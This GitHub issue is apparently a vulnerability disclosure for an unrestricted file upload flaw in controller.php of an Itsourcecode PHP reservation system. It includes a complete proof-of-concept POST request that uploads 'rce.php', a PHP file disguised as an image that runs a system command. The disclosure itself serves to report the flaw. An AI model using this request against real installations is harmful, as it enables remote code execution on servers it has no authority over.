Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Itsourcecode Pool of Bethesda Online Reservation System Using PHP 1.0 controller.php Unrestricted Upload #2

Open
Laster-dev opened this issue Jun 17, 2024 · 0 comments

Comments

@Laster-dev
Copy link
Owner

Laster-dev commented Jun 17, 2024

Itsourcecode Pool of Bethesda Online Reservation System Using PHP 1.0 controller.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Pool of Bethesda Online Reservation System Using PHP

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • laster

Vulnerable File

  • controller.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • In line 80 of the controller.php file, the input obtained through $-FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
  • 1

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE

DESCRIPTION

  • laster discovered that the file upload operation was triggered on line 80 of the 'controller.php' file and the uploaded file was received using the '$_FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).

Vulnerability details and POC

Payload

POST /admin/mod_room/controller.php?action=add HTTP/1.1
Host: localhost:8102
Content-Length: 2776
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8102
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2d1Mv3huV7gKmnQU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8102/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary2d1Mv3huV7gKmnQU
Content-Disposition: form-data; name="roomNo"

22
------WebKitFormBoundary2d1Mv3huV7gKmnQU
Content-Disposition: form-data; name="name"

22
------WebKitFormBoundary2d1Mv3huV7gKmnQU
Content-Disposition: form-data; name="rmtype"

93
------WebKitFormBoundary2d1Mv3huV7gKmnQU
Content-Disposition: form-data; name="price"

22
------WebKitFormBoundary2d1Mv3huV7gKmnQU
Content-Disposition: form-data; name="adult"

22
------WebKitFormBoundary2d1Mv3huV7gKmnQU
Content-Disposition: form-data; name="children"

22
------WebKitFormBoundary2d1Mv3huV7gKmnQU
Content-Disposition: form-data; name="image"; filename="rce.php"
Content-Type: image/jpeg


Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show



<?php system('ipconfig'); ?>
------WebKitFormBoundary2d1Mv3huV7gKmnQU
Content-Disposition: form-data; name="save"


------WebKitFormBoundary2d1Mv3huV7gKmnQU--
  • 2

I successfully executed the PHP script on the terminal

  • 3
@Laster-dev Laster-dev changed the title Itsourcecode BPool of Bethesda Online Reservation System Using PHP 1.0 controller.php Unrestricted Upload Itsourcecode Pool of Bethesda Online Reservation System Using PHP 1.0 controller.php Unrestricted Upload Jun 17, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant